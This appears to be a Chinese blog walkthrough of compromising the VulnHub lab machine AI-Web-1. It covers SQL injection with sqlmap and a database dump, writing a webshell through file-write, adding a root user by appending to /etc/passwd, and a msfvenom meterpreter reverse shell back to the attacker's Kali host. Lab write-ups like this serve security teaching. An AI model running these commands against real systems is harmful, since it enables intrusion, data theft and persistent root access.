【VulnHub系列】AI-Web-1 漏洞提权

一、环境

靶机: https://www.vulnhub.com/entry/ai-web-1,353/
攻击机: kali

二、具体步骤

2.1 主机发现

nmap -sP ip段

2.2 端口服务扫描

nmap -sV -A -p- 192.168.47.152

Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
| http-robots.txt: 2 disallowed entries 
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-server-header: Apache
|_http-title: AI Web 1.0

Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9

2.3 网站目录扫描

直接 http://192.168.47.152/ 这样去爆破,没有什么结果!!!

2.3.1 查看 robots.txt

在这里插入图片描述
发现两个目录:

/m3diNf0/
/se3reTdir777/uploads/

2.3.2 分别拿去目录扫描探测

/m3diNf0/info.php
/se3reTdir777/index.php
/se3reTdir777/index.php/login/

在这里插入图片描述
在这里插入图片描述
整理有用信息

1、通过 php探针 知道网站物理路径:	/home/www/html/web1x443290o2sdf92213
2、发现有个可以查询的界面,下一步猜测是否存在注入 

2.4 检测注入

输入 1    正常;
输入 1'   报错;
输入 1‘#  正常;

所以是存在注入的!

在这里插入图片描述

2.4.1 用sqlmap跑下吧(比较懒!!!)

用 BurpSuite 截取到包后保存在一个文件里
例如:
在这里插入图片描述

爆破数据库: sqlmap -r post --dbs

available databases [2]:
[*] aiweb1
[*] information_schema
爆破表:  sqlmap -r post -D aiweb1 --tables

Database: aiweb1
[2 tables]
+------------+
| user       |
| systemUser |
+------------+
爆破 user表: 
Table: user
[3 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| id        | int(11)     |
| firstName | varchar(25) |
| lastName  | varchar(25) |
+-----------+-------------+

爆破 systemUser表: 
Table: systemUser
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| password | varchar(50) |
| userName | varchar(25) |
+----------+-------------+
爆破 user 表数据: sqlmap -r post -D aiweb1 -T user -C firstName,lastName --dump
Database: aiweb1
Table: user
[3 entries]
+-----------+----------+
| firstName | lastName |
+-----------+----------+
| admin     | admin    |
| root      | root     |
| mysql     | mysql    |
+-----------+----------+

爆破 systemUser 表数据: sqlmap -r post -D aiweb1 -T systemUser -C id,password,userName --dump

Database: aiweb1
Table: systemUser
[3 entries]
+------+----------------------------------------------+-----------+
| id   | password                                     | userName  |
+------+----------------------------------------------+-----------+
| 3    | TjB0VGhpczBuZUFsczA=                         | u3er      |
| 1    | RmFrZVVzZXJQYXNzdzByZA==                     | t00r      |
| 2    | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | aiweb1pwn |
+------+----------------------------------------------+-----------+

base64 解密:
t00r :RmFrZVVzZXJQYXNzdzByZA== (FakeUserPassw0rd)
aiweb1pwn :TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== (MyEvilPass_f908sdaf9_sadfasf0sa)
u3er :TjB0VGhpczBuZUFsczA= (N0tThis0neAls0)

**这里小结一下: ** 上面爆破的东西没什么用,拿去尝试登入,是错的密码!!!

2.4.2 利用 sqlmap 获取shell

1、尝试读取 /etc/passwd

sqlmap -r post file_read="/etc/passwd"
没有读到!!!

2、写入webshell
通过 sqlmap写入一句话:(这里方法有很多,就举一个吧!)
参考:sqlmap写入 --file-write --file-dest 写入一句话
其他还可以利用 sqlmap的 --os-shell 和 mysql语句写入等。。。

sqlmap -r post --file-write="hack.php"  --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"

菜刀连接:
http://192.168.47.152/se3reTdir777/uploads/shell.php

在这里插入图片描述
发现可以查看 /etc/passwd 但是sqlmap没爆出来,奇怪!!!
无法访问 root 目录,所以还得提权!!!

2.5 提权

前提:发现 www-data 用户对 /etc/passwd 有写权限!!!

添加个 root 权限用户: 例如 插入用户: inseone  密码: passtest
perl -le 'print crypt("passtest","salt")'
echo "inseone:sabE5x7epbUlE:0:0:hacker:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
菜刀里不支持 su 命令…
在这里插入图片描述

2.5.1 利用 msf 里的 meterpreter 模块里的shell终端

1、生成 php 木马
msfvenom -a php php/meterpreter/reverse_tcp LHOST=kali_ip LPORT=4444 -f raw > webshell.php

2、通过菜刀上传到前面一句话木马那个目录下

在这里插入图片描述
在kali上监听反弹shell :
在这里插入图片描述

1、 进入终端: shell
2、交互式终端: python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

至此,关于 AI:Web:1 的题解已完毕!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值